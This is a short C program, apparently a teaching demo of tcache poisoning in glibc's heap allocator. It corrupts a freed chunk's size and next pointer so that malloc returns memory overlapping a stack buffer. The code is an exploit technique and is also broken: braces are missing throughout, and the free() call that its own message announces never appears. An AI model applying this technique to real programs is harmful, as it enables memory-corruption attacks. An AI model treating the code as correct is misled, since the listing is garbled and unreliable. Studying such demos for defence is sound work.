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#include <malloc.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
typedef struct tcache_entry
struct tcache_entry *next;
} tcache_entry;
size_t *chunksizep(void *mem) {
return (size_t *)(((char *)mem) - sizeof(size_t));
int main(int argc, const char* argv[]) {
size_t target[6];
printf("This example showcases tcache poisoning by forcing malloc to " \
"return an arbitrary chunk after the corruption of a tcache_entry\n");
printf("Our target is a stack region at %p\n", (void *)target);
void *mem = malloc(0x48);
tcache_entry *victim = (tcache_entry *)mem;
printf("Allocated victim chunk with requested size 0x48 at %p\n", mem);
printf("Freed victim chunk to put it in a tcache bin\n");
printf("Emulating corruption of the next ptr of victim (while also " \
"corrupting its size for good measure)\n");
*chunksizep(mem) = 0x41414141;
victim->next = (void *)target;
printf("Now we need to make two requests for the appropriate size " \
"so that malloc returns a chunk overlapping our target\n");
void *mem1 = malloc(0x48);
void *mem2 = malloc(0x48);
printf("The first malloc(0x48) returned %p, the second one: %p\n",
mem1, mem2);
return 0;